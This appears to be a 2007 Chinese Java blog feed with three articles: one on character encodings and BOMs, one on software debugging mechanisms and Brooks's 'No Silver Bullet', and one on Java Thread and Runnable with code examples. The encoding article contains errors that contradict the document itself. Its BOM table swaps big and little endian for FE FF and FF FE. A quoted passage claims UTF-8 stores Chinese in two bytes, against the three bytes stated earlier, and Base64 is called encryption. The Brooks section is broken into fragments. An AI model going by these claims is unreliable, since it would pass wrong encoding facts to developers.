Format，即把Unicode转做某种格式的意思。<br><br>UTF-8便于不同的计算机之间使用网络传输不同语言和编码的文字，使得双字节的Unicode能够在现存的处理单字节的系统上正确传输。<br><br>UTF-8使用可变长度字节来储存 Unicode字符，例如ASCII字母继续使用1字节储存，重音文字、希腊字母或西里尔字母等使用2字节来储存，而常用的汉字就要使用3字节。辅助平面字符则使用4字节。<br><br>4．UTF-16 和 UTF-32 编码<br>UTF-32、UTF-16 和 UTF-8 是 Unicode 标准的编码字符集的字符编码方案，UTF-16 使用一个或两个未分配的 16 位代码单元的序列对 Unicode 代码点进行编码；UTF-32 即将每一个 Unicode 代码点表示为相同值的 32 位整数<br><br>通过一个问题了解unicode编码<br><br>问题：使用Windows记事本的&#8220;另存为&#8221;，可以在ANSI、GBK、Unicode、Unicode big endian和UTF-8这几种编码方式间相互转换。同样是txt文件，Windows怎样识别编码方式的呢？<br>我很早前就发现Unicode、Unicode big endian和UTF-8编码的txt文件的开头会多出几个字节，分别是FF、FE（Unicode）,FE、FF（Unicode big endian）,EF、BB、BF（UTF-8）。但这些标记是基于什么标准呢？<br><br>答案：<br><br>ANSI字符集定义：ASCII字符集，以及由此派生并兼容的字符集，如：GB2312，正式的名称为MBCS(Multi-Byte Chactacter System，多字节字符系统)，通常也称为ANSI字符集。 <br><br>UNICODE 与 UTF8、UTF16 <br><br>由于每种语言都制定了自己的字符集，导致最后存在的各种字符集实在太多，在国际交流中要经常转换字符集非常不便。因此，产生了Unicode字符集，它固定使用16 bits(两个字节)来表示一个字符，共可以表示65536个字符 <br>标准的 Unicode 称为UTF-16(UTF:UCS Transformation Format )。后来为了双字节的Unicode能够在现存的处理单字节的系统上正确传输，出现了UTF-8，使用类似MBCS的方式对Unicode进行编码。(Unicode字符集有多种编码形式) <br>例如"连通"两个字的Unicode标准编码UTF-16 (big endian)为：DE 8F 1A 90 <br>而其UTF-8编码为：E8 BF 9E E9 80 9A <br><br>当一个软件打开一个文本时，它要做的第一件事是决定这个文本究竟是使用哪种字符集的哪种编码保存的。软件一般采用三种方式来决定文本的字符集和编码： <br>检测文件头标识，提示用户选择，根据一定的规则猜测 <br>最标准的途径是检测文本最开头的几个字节，开头字节 Charset/encoding,如下表： <br>EF BB BF &nbsp; &nbsp; UTF-8 <br>FE FF &nbsp; &nbsp; &nbsp; UTF-16/UCS-2, little endian <br>FF FE &nbsp; &nbsp; &nbsp; UTF-16/UCS-2, big endian <br>FF FE 00 00 UTF-32/UCS-4, little endian. <br>00 00 FE FF UTF-32/UCS-4, big-endian. <br><br><br>1、big endian和little endian<br>big endian和little endian是CPU处理多字节数的不同方式。例如&#8220;汉&#8221;字的Unicode编码是6C49。那么写到文件里时，究竟是将6C写在前面，还是将49写在前面？如果将6C写在前面，就是big endian。还是将49写在前面，就是little endian。<br>&#8220;endian&#8221;这个词出自《格列佛游记》。小人国的内战就源于吃鸡蛋时是究竟从大头(Big-Endian)敲开还是从小头(Little-Endian)敲开，由此曾发生过六次叛乱，其中一个皇帝送了命，另一个丢了王位。<br>我们一般将endian翻译成&#8220;字节序&#8221;，将big endian和little endian称作&#8220;大尾&#8221;和&#8220;小尾&#8221;。<br><br>2、字符编码、内码，顺带介绍汉字编码<br>字符必须编码后才能被计算机处理。计算机使用的缺省编码方式就是计算机的内码。早期的计算机使用7位的ASCII编码，为了处理汉字，程序员设计了用于简体中文的GB2312和用于繁体中文的big5。<br>GB2312(1980年)一共收录了7445个字符，包括6763个汉字和682个其它符号。汉字区的内码范围高字节从B0-F7，低字节从A1-FE，占用的码位是72*94=6768。其中有5个空位是D7FA-D7FE。<br>GB2312支持的汉字太少。1995年的汉字扩展规范GBK1.0收录了21886个符号，它分为汉字区和图形符号区。汉字区包括21003个字符。2000年的GB18030是取代GBK1.0的正式国家标准。该标准收录了27484个汉字，同时还收录了藏文、蒙文、维吾尔文等主要的少数民族文字。现在的PC平台必须支持GB18030，对嵌入式产品暂不作要求。所以手机、MP3一般只支持GB2312。<br>从ASCII、GB2312、GBK到GB18030，这些编码方法是向下兼容的，即同一个字符在这些方案中总是有相同的编码，后面的标准支持更多的字符。在这些编码中，英文和中文可以统一地处理。区分中文编码的方法是高字节的最高位不为0。按照程序员的称呼，GB2312、GBK到GB18030都属于双字节字符集 (DBCS)。<br>有的中文Windows的缺省内码还是GBK，可以通过GB18030升级包升级到GB18030。不过GB18030相对GBK增加的字符，普通人是很难用到的，通常我们还是用GBK指代中文Windows内码。<br>这里还有一些细节：<br>GB2312的原文还是区位码，从区位码到内码，需要在高字节和低字节上分别加上A0。<br>在DBCS中，GB内码的存储格式始终是big endian，即高位在前。<br>GB2312的两个字节的最高位都是1。但符合这个条件的码位只有128*128=16384个。所以GBK和GB18030的低字节最高位都可能不是1。不过这不影响DBCS字符流的解析：在读取DBCS字符流时，只要遇到高位为1的字节，就可以将下两个字节作为一个双字节编码，而不用管低字节的高位是什么。<br><br>3、Unicode、UCS和UTF(UCS Transformation Format)<br>前面提到从ASCII、GB2312、GBK到GB18030的编码方法是向下兼容的。而Unicode只与ASCII兼容（更准确地说，是与ISO-8859-1兼容），与GB码不兼容。例如&#8220;汉&#8221;字的Unicode编码是6C49，而GB码是BABA。<br><br>UCS规定了怎么用多个字节表示各种文字。而怎样传输这些编码，是由UTF(UCS Transformation Format)规范规定的！常见的UTF规范包括UTF-8、UTF-7、UTF-16。<br><br>4、UTF的字节序和BOM<br>UTF-8以字节为编码单元，没有字节序的问题。UTF-16以两个字节为编码单元，在解释一个UTF-16文本前，首先要弄清楚每个编码单元的字节序。例如收到一个&#8220;奎&#8221;的Unicode编码是594E，&#8220;乙&#8221;的Unicode编码是4E59。如果我们收到UTF-16字节流&#8220;594E&#8221;，那么这是&#8220;奎&#8221;还是&#8220;乙&#8221;？<br>Unicode规范中推荐的标记字节顺序的方法是BOM。BOM不是&#8220;Bill Of Material&#8221;的BOM表，而是Byte Order Mark。BOM是一个有点小聪明的想法：<br>在UCS编码中有一个叫做"ZERO WIDTH NO-BREAK SPACE"的字符，它的编码是FEFF。而FFFE在UCS中是不存在的字符，所以不应该出现在实际传输中。UCS规范建议我们在传输字节流前，先传输字符"ZERO WIDTH NO-BREAK SPACE"。<br>这样如果接收者收到FEFF，就表明这个字节流是Big-Endian的；如果收到FFFE，就表明这个字节流是Little-Endian的。因此字符"ZERO WIDTH NO-BREAK SPACE"又被称作BOM。<br>UTF-8不需要BOM来表明字节顺序，但可以用BOM来表明编码方式。字符"ZERO WIDTH NO-BREAK SPACE"的UTF-8编码是EF BB BF（读者可以用我们前面介绍的编码方法验证一下）。所以如果接收者收到以EF BB BF开头的字节流，就知道这是UTF-8编码了。<br>Windows就是使用BOM来标记文本文件的编码方式的。<br><br><br>写到这里对编码有了大致的了解了，就可以理解网上一些文章的话了，比如有一篇很流行的文章《URL编码与SQL注射》里面有一段是这么说的：<br><br>其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动，需要在前面加上&#8220;%&#8221;。比如&#8220;\&#8221;，它的ascii码是92，92的十六进制是5c，所以&#8220;\&#8221;的url编码就是%5c。那么汉字的url编码呢？很简单，看例子：&#8220;胡&#8221;的ascii码是-17670，十六进制是BAFA，url编码是&#8220;%BA%FA&#8221;。呵呵，知道怎么转换的了吧。<br><br><br>&nbsp; 这得从ASCII说起，扩展的ASCII字符集采用8bit255个字符显然不够用，于是各个国家纷纷制定了自己的文字编码规范，其中中文的文字编码规范叫做&#8220;GB2312-80&#8221;（就是GB2312)，它是和ASCII兼容的一种编码规范，其实就是用扩展ASCII没有真正标准化这一点，把一个中文字符用两个扩展ASCII字符来表示。文中说的的中文ASCII码实际上就是简体中文的编码2312GB！它把ASCII又扩充了一个字节，由于高位的第一位是0，所以会出现负数的形式，url编码就是将汉字的这个GB2312编码转化成UTF-8的编码并且每8位即一个字节前面加上%符号表示。<br><br>那为何UTF-8是进行网络的规范传输编码呢？<br><br>在Unicode里，所有的字符被一视同仁。汉字不再使用&#8220;两个扩展ASCII&#8221;，而是使用&#8220;1个Unicode&#8221;，注意，现在的汉字是&#8220;一个字符&#8221;了，于是，拆字、统计字数这些问题也就自然而然的解决了。但是，这个世界不是理想的，不可能在一夜之间所有的系统都使用Unicode来处理字符，所以Unicode在诞生之日，就必须考虑一个严峻的问题：和ASCII字符集之间的不兼容问题。 <br><br>我们知道，ASCII字符是单个字节的，比如&#8220;A&#8221;的ASCII是65。而Unicode是双字节的，比如&#8220;A&#8221;的Unicode是0065，这就造成了一个非常大的问题：以前处理ASCII的那套机制不能被用来处理Unicode了 <br><br>另一个更加严重的问题是，C语言使用'\0'作为字符串结尾，而Unicode里恰恰有很多字符都有一个字节为0，这样一来，C语言的字符串函数将无法正常处理Unicode，除非把世界上所有用C写的程序以及他们所用的函数库全部换掉 <br><br>于是，比Unicode更伟大的东东诞生了，之所以说它更伟大是因为它让Unicode不再存在于纸上，而是真实的存在于我们大家的电脑中。那就是：UTF <br><br>UTF= UCS Transformation Format UCS转换格式，它是将Unicode编码规则和计算机的实际编码对应起来的一个规则。现在流行的UTF有2种：UTF-8和UTF-16 <br><br>其中UTF-16和上面提到的Unicode本身的编码规范是一致的，这里不多说了。而UTF-8不同，它定义了一种&#8220;区间规则&#8221;，这种规则可以和ASCII编码保持最大程度的兼容，这样做的好处是压缩了字符在西欧一些国家的内存消耗，减少了不必要的资源浪费，这在实际应用中是非常有必要的。 <br><br>UTF-8有点类似于Haffman编码，它将Unicode编码为：<br>00000000-0000007F的字符，用单个字节来表示； <br><br>00000080-000007FF的字符用两个字节表示 （中文的编码范围）<br><br>00000800-0000FFFF的字符用3字节表示 <br><br>因为目前为止Unicode-16规范没有指定FFFF以上的字符，所以UTF-8最多是使用3个字节来表示一个字符。但理论上来说，UTF-8最多需要用6字节表示一个字符。 <br><br>在UTF-8里，英文字符仍然跟ASCII编码一样，因此原先的函数库可以继续使用。而中文的编码范围是在0080-07FF之间，因此是2个字节表示（但这两个字节和GB编码的两个字节是不同的）。<br><br><br>看看编码之多：ANSI,AscII,GB2312,GBK,BIG5,GB18030,Unicode,UCS（就是unicode）Utf-8,utf-16,utf-32 整整10种编码～，算是够复杂了<br>可是这还仅仅是个开始，应用方面变化无穷，不过现在看到这些东西起码再不会头大了！呼呼～<br><br><br>哦，漏了一个加密的base64编码。<br><br>什么是Base64？ <br><br>按照RFC2045的定义，Base64被定义为：Base64内容传送编码被设计用来把任意序列的8位字节描述为一种不易被人直接识别的形式。（The Base64 Content-Transfer-Encoding is designed to represent arbitrary sequences of octets in a form that need not be humanly readable.） <br><br>为什么要使用Base64？<br><br>在设计这个编码的时候，我想设计人员最主要考虑了3个问题： <br>1.是否加密？ <br>2.加密算法复杂程度和效率 <br>3.如何处理传输？ <br><br>&nbsp; 加密是肯定的，但是加密的目的不是让用户发送非常安全的Email。这种加密方式主要就是&#8220;防君子不防小人&#8221;。即达到一眼望去完全看不出内容即可。 <br>基于这个目的加密算法的复杂程度和效率也就不能太大和太低。和上一个理由类似，MIME协议等用于发送Email的协议解决的是如何收发Email，而并不是如何安全的收发Email。因此算法的复杂程度要小，效率要高，否则因为发送Email而大量占用资源，路就有点走歪了。 <br><br>&nbsp; 但是，如果是基于以上两点，那么我们使用最简单的恺撒法即可，为什么Base64看起来要比恺撒法复杂呢？这是因为在Email的传送过程中，由于历史原因，Email只被允许传送ASCII字符，即一个8位字节的低7位。因此，如果您发送了一封带有非ASCII字符（即字节的最高位是1）的Email通过有&#8220;历史问题&#8221;的网关时就可能会出现问题。网关可能会把最高位置为0！很明显，问题就这样产生了！因此，为了能够正常的传送Email，这个问题就必须考虑！所以，单单靠改变字母的位置的恺撒之类的方案也就不行了。关于这一点可以参考RFC2046。 <br>基于以上的一些主要原因产生了Base64编码。</font>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/135821.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-10 14:17 <a href="http://www.blogjava.net/WshmAndLily/articles/135821.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>调试</title><link>http://www.blogjava.net/WshmAndLily/articles/135816.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 10 Aug 2007 06:12:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/135816.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/135816.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/135816.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/135816.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/135816.html</trackback:ping><description><![CDATA[<div class=postText>
<p align=justify>弗雷德里克&#183;布鲁克斯（Frederick P. Brooks）博士在他那篇著名的《没有银弹——<a name=baidusnap0></a><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">软件工程中的根本和次要问题</strong>》一文中，将软件项目比作可怕的人狼（werewolves），并大胆地预言十年内不会找到特别有效的银弹。该论文发表的时间是1986年，如今整整20年过去了，尽管不时有人惊呼找到了神奇的银弹，但是冷静的人们很快发现那只是美好的愿望。<br><br>如果说软件工业中与人狼的战斗还在持续，那么在这些战役中一定会有程序员的身影，笔者也是其中的一个。我的编程生涯是从使用汇编语言编写DOS下的TSR程序开始的。今天DOS操作系统已经成为历史，在那个年代最值得炫耀的TSR技术也早已经过时了。十几年中，OWL、VFW、VDX、ISAPI、Active Movie等技术也被时间淘汰&#8230;&#8230;然而，在这漫长的时间当中，我最看重的是软件调试技术。它是十几年中我学到的最有用、一直受用、而且日久弥新的一项技术。&nbsp; <span>其实就是</span><span>:</span><span> "</span><span>软</span><span>件工程</span><span>"</span><span>与</span><span>"</span><span>软</span><span>件工</span><span>艺</span><span>"</span><span>之</span><span>间门</span><span>派之争的</span><span>问题</span><span><br></span><br>从软件工程的角度来讲，软件调试是软件工程的一个重要部分，软件调试过程出现在软件工程的各个阶段。从最初的可行性分析、原型验证、到开发和测试阶段、再到发布后的维护与支持，都有软件调试过程的参与。通常认为，一个完整的软件调试过程由以下几个步骤组成：<br>● 重现故障，通常是在用于调试的系统上重复导致故障的步骤，使要解决的问题出现在被调试的系统中。<br>● 定位根源，即综合利用各种调试工具，使用各种调试手段寻找导致软件故障的根源（root cause）。通常测试人员报告和描述的是软件界面或工作行为中所表现出的异常，或者是与软件需求和功能规约不符的地方，泛指软件缺欠（defect）或者故障（failure）。而这些表面的缺欠总是由于一或多个内在因素所导致的。这些内因要么是代码的行为错误，要么是不行为错误（该作而未作）。<br>● 探索和实现解决方案，即根据寻找到的故障根源、和资源情况、紧迫程度等要求设计和实现解决方案。<br>● 验证方案，在目标环境中测试方案的有效性，又称为回归（regress）测试。如果问题已经解决，那么就可以关闭问题。如果没有解决则回到第3步调整和修改解决方案。<br>这些步骤中，定位根源常常是最困难也是最关键的步骤，它是软件调试过程的核心和灵魂。如果没有找到故障根源，那么解决方案便很是隔靴搔痒，或者头痛医脚，白白浪费了时间。<br>对软件调试的另一种更通俗的解释是指使用调试工具求解各种软件问题的过程,例如跟踪软件的执行过程,探索软件本身或者与其配套的其它软件或者硬件系统的工作原理等,这些过程的目的有可能是为了去除软件缺欠,也可能不是。<br><br>在了解了软件调试技术的基本概念以后，下面我们来看一下支撑软件调试技术的几种基本机制。<br>● 断点:即当被调试程序执行到某一空间或时间点时将其中断到调试器中。根据中断条件分为如下几种:<br>○&nbsp;&nbsp; 代码断点:当程序执行到指定内存地址的代码时中断到调试器。<br>○&nbsp;&nbsp; 数据断点:当程序访问指定内存地址的数据时中断到调试器。<br>○&nbsp;&nbsp; I/O断点:当程序访问指定I/O地址的端口时中断到调试器。<br>根据断点的设置方法,断点又分为软件断点和硬件断点。软件断点通常是通过向指定的代码位置插入专用的断点指令来实现的,比如IA32 CPU的INT 3指令（机器码为0xCC）就是断点指令。硬件断点通常是通过设置CPU的调试寄存器来设置的。IA32 CPU定义了8个调试寄存器,DR0~DR7,可以最多同时设置4个硬件断点(对于一个调试会话)。通过调试寄存器可以设置以上三种断点中的任一种,但是通过断点指令只可以设置代码断点。<br><br>● 单步跟踪:即让应用程序按照某单位一步步执行。根据单位，又分几种:<br>○&nbsp;&nbsp; 每次执行一条汇编指令，称为汇编语言一级的单步跟踪。设置IA32 CPU标志寄存器的TF（Trap Flag，即陷阱标志位）位，便可以让CPU每执行完一条指令便产生一个调试异常（INT 1），中断到调试器。<br>○&nbsp;&nbsp; 每次执行源代码（比汇编语言更高级的程序语言,如C/C++）的一条语句，又称为源代码级的单步跟踪。通常高级语言的单步跟踪是通过反复设置CPU的陷阱标志位来实现的,如果当前源代码行还没有执行完,那么调试器重新设置陷阱标志并让程序继续执行,直到该语句结束（EIP指向另一语句）才中断给用户。<br>○&nbsp;&nbsp; 每次执行一个程序分支，又称为分支到分支单步跟踪。设置IA32 CPU的DbgCtl MSR寄存器的BTF(Branch Trap Flag)标志后，便可以启用分支到分支单步跟踪。<br>○&nbsp;&nbsp; 每次执行一个任务（线程），即当一个任务（线程）被调度执行时中断到调试器。IA32架构所定义的任务状态段（TSS）中的T标志为实现这一功能提供了硬件一级的支持，但是很多调试器还有提供这项功能。<br><br>● 栈回溯（stack backtrace）:即通过记录在栈中的函数返回地址显示（追溯）函数调用过程。在将返回地址翻译成函数名时需要有调试符号（debug symbol）的支持。大多数编译器都支持在编译时生成调试符号。微软的调试符号服务器（http://msdl.microsoft.com/download/symbols）提供了大多数Windows系统文件的调试符号，是调试和学习Windows操作系统的宝贵资源。<br>● 调试信息输出（debug output/print）:即将程序运行的位置、变量状态等信息输出到调试器、窗口、文件或者其它可以观察到的地方。这种方法的优点是简单方便、不依赖于调试器，但也有明显的缺点，如效率低，安全性差，通常不可以动态开启，且难以管理等。在Windows操作系统中，驱动程序可以使用DbgPrint/DbgPrintEx来输出调试信息，应用程序可以调用OutputDebugString API。<br>● 日志（log）:将程序运行的状态信息写入到特定的文件或者数据库中。Windows操作系统提供了记录、观察和管理（删除和备份）日志的功能。Windows Vista新引入了名为Common Log File System（CLFS.SYS）的内核模块，用于进一步加强日志功能。<br>● 事件追踪（event trace）:通常用来监视频繁的复杂的软件过程，满足普通日志机制难以胜任的需求。比如监视大信息量的文件操作、网络通信等。ETW（Event Trace for Windows）是Windows操作系统内建的事件追踪机制，Windows内核本身和很多Windows下的软件工具（如Bootvis，TCP/IP View）都使用了该机制。<br><br>在以上机制中，断点和单步跟踪通常必须在有调试器参与的情况下才能使用。调试器（software debugger）是综合提供各种调试功能的软件工具。除了处理断点、单步跟踪、模块映射等调试事件外，调试器通常还提供如下功能:<br>● 观察和编辑被调试程序的内存和数据，如全局变量、局部变量、以及程序的栈和堆等重要数据结构。<br>● 观察和反汇编被调试程序的代码。<br>● 显示线程栈中的函数调用信息。<br>● 管理调试符号。<br>● 控制进程和线程，例如将被调试程序中断到调试器中，和恢复其执行等。<br>根据调试器所调试目标程序的工作模式，可以把调试器分为用户态调试器和内核态调试器，前者用于调试用户态下的各种程序（应用程序、系统服务、或者用户态的DLL模块），后者用于调试工作在内核模式的程序，如驱动程序和操作系统的内核部分。WinDbg是微软开发的一个免费调试器，它既可以用作用户态调试器，也可以用作内核态调试器，是调试Windows操作系统下的各种软件的一个强有力工具。我几乎每天都使用WinDbg，它是我的计算机中使用频率最高的软件之一。<br><br>最后，简要地描述一下软件调试技术的几个特征。<br>系统性——很多看似简单的调试机制都是依靠系统内的多个部件协同工作而完成的。以软件断点为例，CPU提供了指令支持和硬件级的异常机制，操作系统将异常以调试事件的形式分发给调试器，调试器响应调试事件并与用户交互。如果在做源代码级的调试，那么调试器又需要编译器所产生的调试符号来帮忙。<br>全局性——对于一个软件项目，应该在项目的设计和架构阶段就制定出全局的调试支持机制，并贯彻实施。比如，所有模块都应该使用统一的方法来输出调试信息、记录日志、报告错误，并公开统一的接口用做单元测试和故障诊断。这样不仅可以避免重复工作，而且增加了软件的可调适性（debuggability），有利于保证产品的质量和进度。<br>困难性——《C语言编程》一书的作者Brian Kernighan曾经说过，&#8220;调试天生就比编写代码难上一倍，如果你写出了最聪明的代码，那么你的智商就不足以调试这个代码。&#8221;因为，要调试一个程序，就必须深刻理解它的工作原理，不仅要知道how和表层的东西，还要知道why和深层次的内幕。另外，调试需要锲而不舍的探索精神和坚韧的耐力，这也让很多人望而却步。<br>综上所述，软件调试技术是与软件开发密不可分的一门技术，其初衷是为了定位和去除软件故障，但因为调试技术所具有的对软件的强大控制力和观察力，其应用早已延伸到了很多其它领域，比如逆向工程、计算机安全等等。<br>&nbsp; </p>
<p><strong><span>1 </span></strong><strong><span>大前提：</span></strong><strong><span>软</span></strong><strong><span>件活</span></strong><strong><span>动</span></strong><strong><span>包含根本任</span></strong><strong><span>务</span></strong><strong><span>和次要任</span></strong><strong><span>务</span></strong><strong></strong></p>
<p><span>布</span><span>鲁</span><span>克斯指出：所有</span><span>软</span><span>件活</span><span>动</span><span>包括：</span></p>
<p><span>根本任</span><span>务</span><span>——</span><span>打造构成抽象</span><span>软</span><span>件</span><span>实</span><span>体的</span><span>复杂</span><span>概念</span><span>结</span><span>构；</span></p>
<p><span>次要任</span><span>务</span><span>——</span><span>使用</span><span>编</span><span>程</span><span>语</span><span>言表达</span><span>这</span><span>些抽象</span><span>实</span><span>体，并在</span><span>时间</span><span>和空</span><span>间</span><span>内将它</span><span>们</span><span>映射成机器</span><span>语</span><span>言</span><span>。</span></p>
<p><strong><span>2 </span></strong><strong><span>小前提：</span></strong><strong><span>现</span></strong><strong><span>有解决方案致力于解决次要任</span></strong><strong><span>务</span></strong><strong></strong></p>
<p><span>考察和</span><span>评</span><span>估几乎</span><span>现</span><span>有所有的</span><span>软</span><span>件工程解决方案，布</span><span>鲁</span><span>克斯指出：</span><span>现</span><span>有所有方案全都在致力于解决</span><span>软</span><span>件工程中的次要</span><span>问题</span><span>。</span></p>
<p><strong><span>3 </span></strong><strong><span>结论</span></strong><strong><span>：没有</span></strong><strong><span>银弹</span></strong><strong></strong></p>
<p><span>无</span><span>论这</span><span>些方案多</span><span>么</span><span>完善，都不可能在根本上解决</span><span>问题</span><span>，即使将全部次要任</span><span>务</span><span>的</span><span>时间缩</span><span>减到零，也不会</span><span>带</span><span>来生</span><span>产</span><span>率数量</span><span>级</span><span>上的提高</span><span>。</span><span> </span></p>
<p><strong><span>应</span></strong><strong><span>用孤</span></strong><strong><span>岛问题</span></strong><span>：管理</span><span>软</span><span>件如何</span><span>实</span><span>施、</span><span>应</span><span>用的</span><span>问题</span></p>
<p><span>由于基</span><span>础</span><span>架构的先天不足，</span><span>现</span><span>有的信息系</span><span>统</span><span>，无</span><span>论</span><span>是独立的工具</span><span>软</span><span>件</span><span>还</span><span>是集成的解决方案，大多是孤</span><span>岛</span><span>型的</span><span>应</span><span>用，或者是</span><span>业务</span><span>功能模</span><span>块</span><span>的</span><span>简单</span><span>累加。</span><span>这</span><span>些孤</span><span>岛</span><span>系</span><span>统</span><span>，相互之</span><span>间</span><span>是孤立封</span><span>闭</span><span>的</span></p>
<p><strong><span>IT</span></strong><strong><span>黑洞</span></strong><strong><span>问题</span></strong><span>：</span><span>管理</span><span>软</span><span>件如何</span><span>设计</span><span>、</span><span>开发</span><span>和</span><span>维护</span><span>的</span><span>问题</span></p>
<p><span>现</span><span>有信息系</span><span>统</span><span>的建</span><span>设</span><span>，是在底</span><span>层</span><span>的技</span><span>术</span><span>平台上直接构建</span><span>业务</span><span>系</span><span>统</span><span>，并且也只能采用面向技</span><span>术</span><span>的、</span><span>业务</span><span>无</span><span>关</span><span>的</span><span>&#8220;</span><span>原始</span><span>&#8221;</span><span>编</span><span>程工具来</span><span>开发</span><span>管理系</span><span>统</span><span> </span><span>。</span><span>这种</span><span>低</span><span>层</span><span>次的</span><span>软</span><span>件</span><span>开发</span><span>模式，使信息系</span><span>统</span><span>的</span><span>开发</span><span>、</span><span>维护</span><span>和</span><span>扩</span><span>展困</span><span>难</span><span>重重，</span><span>导</span><span>致</span><span>IT</span><span>黑洞</span><span>现</span><span>象的普遍</span><span>发</span><span>生</span></p>
</div>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/135816.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-08-10 14:12 <a href="http://www.blogjava.net/WshmAndLily/articles/135816.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>多线程（总结）</title><link>http://www.blogjava.net/WshmAndLily/articles/135814.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Fri, 10 Aug 2007 06:06:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/135814.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/135814.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/135814.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/135814.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/135814.html</trackback:ping><description><![CDATA[<p><font size=2>public interface Runnable<br>public class Thread extends Object implements Runnable<br>Runnable 接口应该由那些打算通过某一线程执行其实例的类来实现。类必须定义一个称为 run 的无参数方法.<br>Runnable 为非 Thread 子类的类提供了一种激活方式。通过实例化某个 Thread 实例并将自身作为运行目标，就可以运行实现 Runnable 的类而无需创建 Thread 的子类。大多数情况下，如果只想重写 run() 方法，而不重写其他 Thread 方法，那么应使用 Runnable 接口。这很重要，因为除非程序员打算修改或增强类的基本行为，否则不应为该类创建子类。<br>如何提供给 Java 我们要线程执行的代码呢？让我们来看一看 Thread 类。Thread 类最重要的方法是 run() ，它为Thread 类的方法 start() 所调用，提供我们的线程所要执行的代码。为了指定我们自己的代码，只需要覆盖它！<br>方法一：继承 Thread 类，覆盖方法 run()<br>我们在创建的 Thread 类的子类中重写 run() ,加入线程所要执行的代码即可。<br>下面是一个例子：<br>public class MyThread extends Thread {<br>int count= 1, number;<br>public MyThread(int num) {<br>number = num;<br>System.out.println("创建线程 " + number);<br>}<br>public void run() {<br>while(true) {<br>System.out.println("线程 " + number + ":计数 " + count);<br>if(++count== 6) return;<br>}<br>}<br>public static void main(String args[]) {<br>for(int i = 0; i &lt; 5; i++) new MyThread(i+1).start();<br>}<br>}<br>这种方法简单明了，符合大家的习惯，但是，它也有一个很大的缺点，那就是如果我们的类已经从一个类继承（如小程序必须继承自 Applet 类），则无法再继承 Thread 类，这时如果我们又不想建立一个新的类，应该怎么办呢？<br>我们不妨来探索一种新的方法：我们不创建 Thread 类的子类，而是直接使用它，那么我们只能将我们的方法作为参数传递给 Thread 类的实例，有点类似回调函数。但是 Java 没有指针，我们只能传递一个包含这个方法的类的实例。那么如何限制这个类必须包含这一方法呢？当然是使用接口！（虽然抽象类也可满足，但是需要继承，而我们之所以要采用这种新方法，不就是为了避免继承带来的限制吗？）<br>Java 提供了接口 java.lang.Runnable 来支持这种方法。<br>方法二：实现 Runnable 接口<br>Runnable 接口只有一个方法 run()，我们声明自己的类实现 Runnable 接口并提供这一方法，将我们的线程代码写入其中，就完成了这一部分的任务。<br>但是 Runnable 接口并没有任何对线程的支持，我们还必须创建 Thread 类的实例，这一点通过 Thread 类的构造函数<br>public Thread(Runnable target);来实现。<br>下面是一个例子：<br>public class MyThread implements Runnable {<br>int count= 1, number;<br>public MyThread(int num) {<br>number = num;<br>System.out.println("创建线程 " + number);<br>}<br>public void run() {<br>while(true) {<br>System.out.println("线程 " + number + ":计数 " + count);<br>if(++count== 6) return;<br>} <br>}<br>public static void main(String args[]) {<br>for(int i = 0; i &lt; 5; i++) new Thread(new MyThread(i+1)).start();<br>}<br>}<br>严格地说，创建 Thread 子类的实例也是可行的，但是必须注意的是，该子类必须没有覆盖 Thread 类的 run 方法，否则该线程执行的将是子类的 run 方法，而不是我<br>们用以实现Runnable 接口的类的 run 方法，对此大家不妨试验一下。<br>使用 Runnable 接口来实现多线程使得我们能够在一个类中包容所有的代码，有利于封装，它的缺点在于，我们只能使用一套代码，若想创建多个线程并使各个线程执行不同的代码，则仍必须额外创建类，如果这样的话，在大多数情况下也许还不如直接用多个类分别继承 Thread 来得紧凑。<br>综上所述，两种方法各有千秋，大家可以灵活运用。<br>下面让我们一起来研究一下多线程使用中的一些问题。</font></p>
<p><font size=2>三：线程的四种状态<br>1. 新状态：线程已被创建但尚未执行（start() 尚未被调用）。<br>2. 可执行状态：线程可以执行，虽然不一定正在执行。CPU 时间随时可能被分配给该线程，从而使得它执行。<br>3. 死亡状态：正常情况下 run() 返回使得线程死亡。调用 stop()或 destroy() 亦有同样效果，但是不被推荐，前者会产生异常，后者是强制终止，不会释放锁。<br>4. 阻塞状态：线程不会被分配 CPU 时间，无法执行。</font></p>
<p><font size=2>四：线程的优先级 <br>线程的优先级代表该线程的重要程度，当有多个线程同时处于可执行状态并等待获得 CPU 时间时，线程调度系统根据各个线程的优先级来决定给谁分配 CPU 时间，优先级高的线程有更大的机会获得 CPU 时间，优先级低的线程也不是没有机会，只是机会要小一些罢了。<br>你可以调用 Thread 类的方法 getPriority() 和 setPriority()来存取线程的优先级，线程的优先级界于1(MIN_PRIORITY)和10(MAX_PRIORITY)之间，缺省是5(NORM_PRIORITY)。</font></p>
